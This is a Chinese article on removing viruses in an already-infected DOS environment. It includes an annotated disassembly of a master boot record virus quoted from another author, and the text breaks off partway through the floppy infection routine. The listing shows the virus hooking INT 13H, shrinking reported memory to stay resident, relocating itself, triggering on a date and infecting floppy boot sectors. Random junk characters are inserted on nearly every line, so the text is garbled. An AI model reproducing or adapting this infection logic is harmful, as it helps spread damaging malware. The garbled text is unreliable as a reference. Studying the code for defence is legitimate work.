近年来,新的计算机病毒发展十分猖獗,而且这些新病毒更加隐蔽 、复杂,某些新病毒所具有的破坏性更大,所带来的损失无法估量 。这表明计算机病毒的防治尤为重要,同时所面临的形势也更加严 峻 。本文就在带毒环境下检测清除病毒的方法问题提出一点体会与看法 。 yI.}3y{^5
?? wL-ydMIx
?? 一 、 带毒环境下检测清除病毒的意义 _m7U-;G
?? grCO-S|j^
?? 目前在我国流行的病毒一般可分为引导型病毒 、文件型病毒和混合型病毒 。引导型病毒的特点是它寄生在软盘的DOS引导扇区和硬盘的主引导记录或DOS引导区中 ,开机时由计算机自动读入内存中执行文件型病毒则将自身附加在可执行文件上 ,在执行被感染程序时,病毒首先获得控制权,进行驻留或破坏等活动。混合型病毒既能感染引导区也能感染可执行文件,具有更强的传染性。常用的杀毒软件有瑞星2004、金山毒霸、KV300 、公安部的KILL 、美国McAfee公司的SCAN和CLEAN等 ,这些软件各有自身的优点。但是在一个带毒的环境下,也即在病毒已经驻留在内存中的情况下,这些杀毒软件都存在不足并可能带来一些不良的后果。 ?)mhJ/IT
?? _@/C~
?? 当系统感染一种已知病毒时,KILL和SCAN 发现内存中有病毒后,一般是拒绝继续执行,并要求用干净的盘重新启动。KV300发现类似的警告信息,但提供给用户一个选择的机会,以确定是否继续执行, 很显然 ,若用户选择继续 ,所带来的后果是不可预期的。 _h1 HuL
?? MO~~=]Y'
?? 当系统感染一种未知病毒时,三种软件在未发现内存中有已知病毒后,都假设系统中无病毒,忠实地执行检测或清除功能。事实上,这个未知病毒可能会在检测时传染盘中所有的可执行文件。 ..]*Ao2
?? +eBMn(7Cgv
?? 由上面的讨论可知,清查病毒时只有从绝对干净的盘启动,而且要求杀毒软件自身无毒,才能够保证万无一失。然而,由于人们相互拷贝各种软件,很大程度上帮助了病毒的传播,在许多情况下, 要获得一张干净的启动盘很不容易,并且对于一些对计算机系统了解不是很多的使用者来说,他们根本 无法断定一张启动盘是不是干净的。因此,探讨在带毒环境下进行病毒检测和清除的方法是很有意义的 。 ?#*
?? v= *Bb3dt
?? 二 、带毒环境下检测清除病毒的原理 /}nrF4S
?? _D>as\dP
?? 对于一个驻留内存伺机进行传染和破坏的病毒来说,一般都要截取某些中断向量,当其他程序调用这些中断时,病毒重新取得控制权,判断是否满足特定的条件,满足则激活传染或破坏部分,在条件不满足的情况下一般是调用原中断服务程序,实现正常的系统功能。 88#qu.
?? 引导型病毒常接管INT13H、08H、10H等中断;文件型病毒则常接管INT21H、24H、25H、26H、1CH 、13H、10H等中断。 hk@`N;dn
B]|6`UfB
vNz;#Je
举一个例子: 该例子转自黑白网络"一个主引导区病毒的分析 作者:sinister " ,zN3? /7
病毒体: O J35En
JMP 01AF ;JMP到01AF d2A
wvP
DB 00 ;病毒标计 I>H;o{X#
DW 00F5 ;此为搬到高位址后,远程跳转指令 %|*nmIPq(
DW 9F80 ;目的地,也就是跳下一个指令XOR AX,AX Foe>}6~{?
DB 02 dgco*TIGO
DW 0003 ;此为软盘识别标记,硬盘为0007 v;fJM5PA
DW EC59 ; ,ykPQzO
DW F000 ;INT 13H的原入口 T,WKoB
. MjQ[^%lfL
. QOT)x4!)
. Z#4JA/c!
. r*6"'W>c6
. ;V(H7
ZM
XOR AX,AX ;清除AX 9U|<q
MOV DS,AX; ;让DS=0000 Bn~\HW\Lh
CLI ;清I标志积存器 OB?S kR
MOV SS,AX ;把堆栈设为0000:7C00也就是开机 kRN|TDx(
MOV AX,7C00 ;后载入引导分区表的地址,目前地址 :F7k{~
MOV SP,AX ;开机时为0000:7CB6 NV}RRs
STI ;设I标志积存器 =de<WoKnu2
PUSH DS ;把DS=0000,AX=7C00压栈,留给0B33:024A +z:CZ(fb
PUSH AX ;用RETF,把程序转到引导或分区表位置 b|sc'eP#?
MOV AX,[004C] ;取中断向量表中,INT 13H的偏移位置 @PPR$4
MOV [7C0A],AX ;保存INT 13H的偏移位置,也就是存在 7_Ba3+9jpa
MOV AX,[004E] ;取INT 13H的段地址 3:[!t%Yb
MOV [7C0C],AX ;存到010C YVB%
kKv{
;以上是HOOK系统读写盘调用INT 13用病毒体替代原INT 13 (px*R~}
;读写以便传播发作 ]{IR&{EI-
lx{.H,1~
MOV AX,[0413] ;取得内存K数,放在AX ,8c
dXt
DEC AX ; =5y`(0 I`U
DEC AX ;减2k内存 B*?ZE4`
MOV [0413],AX ;存回,通常是638K 9W1;Kb|Z<
MOV CL,06 ; G;(onJz
SHL AX,CL ; y$IaXr5L
MOV ES,AX ;算出减2K后病毒本体的位址 /[a|DUoHO
MOV [7C05],AX ;AX存入0105 n}< ir!ZTO
y#S1c)vU
;病毒常用手法将系统高段内存减少以便驻留 @72x`&|I?u
;这样可以免于被其他程序覆盖 @J-plJ4e
ug^om{e-
MOV AX,000E ;病毒拦INT 13H ;W7 hc!
;ISR起始的偏移量 mi7sBA9L8
MOV [004C],AX ; e7@li<3>d
MOV [004E],ES ;设原为病毒的INT 13H %{R_^Y8t
MOV CX,01BE ;病毒长度为1BE |x &Z~y
MOV SI,7C00 ;从JMP 01AF开始 3<c*v/L{C\
XOR DI,DI ;DI=0 6xQ"bFm
CLD ;清方向标志 \#PP8
REPZ; B/jrYT$;m
MOVSB ;CX=1BE,将病毒自身搬移到高位址,目地是使其引导或 [O^}rUqq
CS: ;分区表能载入0000:7C00正常运作 0TTIaa$
JMP FAR [7C03] ;跳到为搬过后的位址 DpA\r_D
XOR AX,AX ;清AX "_ LkZBW.
MOV ES,AX ;ES=0000 hzaLx8L
INT 13 ;复位磁盘 :3*`IB !
PUSH CS ; Ur^YG4(
POP DS ;让DS=CS C/F@ ]_y
MOV AX,0201 ;用INT 13H读一扇区,是引导,或分区表则 L)q`D2|'
MOV BX,7C00 ;读到0000:7C00 @&?a]>L
MOV CX,[0008] ;硬盘第0道,第7扇区 W|;nJs:e
CMP CX,+07 ;比较是否从硬盘启动 C@%iQ]=
JNZ 0213 ;不是跳0213 a*Rz<08
MOV DX,0080 ;第一硬盘C:第零面 Ns'FH(:
INT 13 ;用INT 13号中断,读 l<:`~\#
JMP 023E ;跳023E比较日期,发作或正常开机 "E.\6sC
MOV CX,[0008] ;软盘0道,第3扇区 xM&EL>m>L
MOV DX,0100 ;A:的第0面 K<c2PFo)Q
INT 13 ;INT 13读盘 y:Z$LmPc<
JB 023E ;失败跳023E z{%oJ_
PUSH CS \WWG>OUh.U
POPES ;让ES=CS z4CJn[m9
MOV AX,0201 ; BS N6|W
MOV BX,0200 ; T3=(`
MOV CX,0001 ; #`/bQ~s
MOV DX,0080 ; Q}=fVY
INT 13 ;读入C:的分区表到0200,以便下面比较 s4(Wp3>3i
JB 023E ;失败跳023E ,1,&b_
XOR SI,SI ;清SI <z,+Eg
CLD ;清方向标志以便比较 'r~8
LODSW ;载入一个WORD到AX rB,ldy,f
CMP AX,[BX] ;比较有无病毒存在..E9AC > gr<^$
JNZ 0287 ;没有则跳0287传染 /K f L+"^|
LODSW ;载入一个WORD到AX A*hZv|$0
CMP AX,[BX+02] ;再次确认..0000 JlUb0{8PE
JNZ 0287 ;没有跳0287 Qe_+r(3)k
XOR CX,CX ;清CX NN^QUB
MOV AH,04 ; W;qP=DK2
INT 1A ;取得日期 +vf:z?I8
CMP DX,0306 ;是否为三月六日 YUCC*t
JZ 024B ;是跳024B传染 L${m/@9
RETF ;把程序交还给引导启动完成 :WVSJ,. !
OZ=Cp$
步骤4:病毒INT 13代码分析 f_rp<R>Uu
方法:U Wj&nUp{
PUSH DS ;首先把要用到积存器 $|k%@Q>
PUSH AX ;入栈保存 l_6e I
OR DL,DL ;比较是否为软盘 ^CUSlnB\(
JNZ 002F ;如不是则退出传染 QCWf.@n
XOR AX,AX ;AX=0 7SaiS_{:
MOV DS,AX ;数据代段=0 WVOoHH
TEST BYTE PTR [043F],01 ;比较是否为A盘 P7Xg{L&@.
JNZ 002F ;不是则退出 sdrWOq
POP AX ;将以上保存积存器 rS4%$p"
POP DS ;弹栈恢复 (Ux[[
PUSHF ;压栈标志积存器 <KX&zi<L)
CS: ;以便执行原INT 13 i0\)%H:z
CALL FAR [000A] ;执行原INT 13 ?IILt=)<
PUSHF ;再次压栈 iUTU*El>
CALL 0036 ;以便跳转到传染程序 tU{\ev$x
POPF ;跳转到执行传染 8fh4%#,C%
RETF 0002 ;结束中断调用返回 5Dd:r{{ Q
POP AX ;恢复 s"WBw'_<<
POP DS ;堆栈 zZ:xEc
CS: ;跳转到原正常INT 13 w-ALCh8o
JMP FAR [000A] ;地址执行 Fwb5u!_,
yplG18
;此段代码中展现了病毒常用手法,利用标志积存器做跳转 Tpb"uBiXoo
E~qQai=]
步骤5:传染过程分析 4^[
/=J}
方法:U +pz}4M`
对软盘传染过程: >OK#n)U`
PUSH AX ;工 h48YDWwy
PUSH BX ;作 [X<Pk
PUSH CX ;寄 ;g+]klR!
PUSH DX ;存 wN(&5rfS
PUSH DS ;器 d*2u}1Jo8
PUSH ES ;入 0\Y1}C
PUSH SI ;栈 _%B/!)v
PUSH DI ;保存 GWdSSr>
PUSH CS ;以压/弹栈方式 ;}K62LSR
POP DS ;使数据段DS和 -%,"iaO
PUSH CS ;附加段ES均指向 i'=2Y9S}
POP ES ;代码段CS ,5{$+
MOV SI,0004 ;试4次 'C^;OjAg
MOV AX,0201 ;设置各 %m`zWg-
MOV BX,0200 ;积存器 GJ,aRI
MOV CX,0001 ;为读软盘 &n>7Ir
XOR DX,DX ;引导扇区做准备 L=]p_2+
PUSHF ;压栈标志积存器 xzr<k Sp
CALL FAR [000A] ;正常的INT 13调用 at|
\FOKj
JNB 0063 ;成功则转判断 t"|DWC*
XOR AX,AX ;不成功复位 -uj3'g(;w
PUSHF ;磁盘继续读 |cgui
CALL FAR [000A] ;如果4次 cS(;Qs]Q
DEC SI ;均匀不成功 k"0;D-lTZ>
JNZ 0045 ;则退出跳转 0e16Ow6\!1
JMP 00A6 ;退出传染 8vSIf+
XOR SI,SI ;SI=0以便用 hF>u)%J/S
CLD ;LODSW读入软盘 @PX\{6&
LODSW ;第1或第2字进行比较 2"X~ju
CMP AX,[BX] ;比较如果不包含病毒标志 &I/qG`W
JNZ 0071 ;则跳转写传染 2.nE
k
LODSW ;如果已有标志 <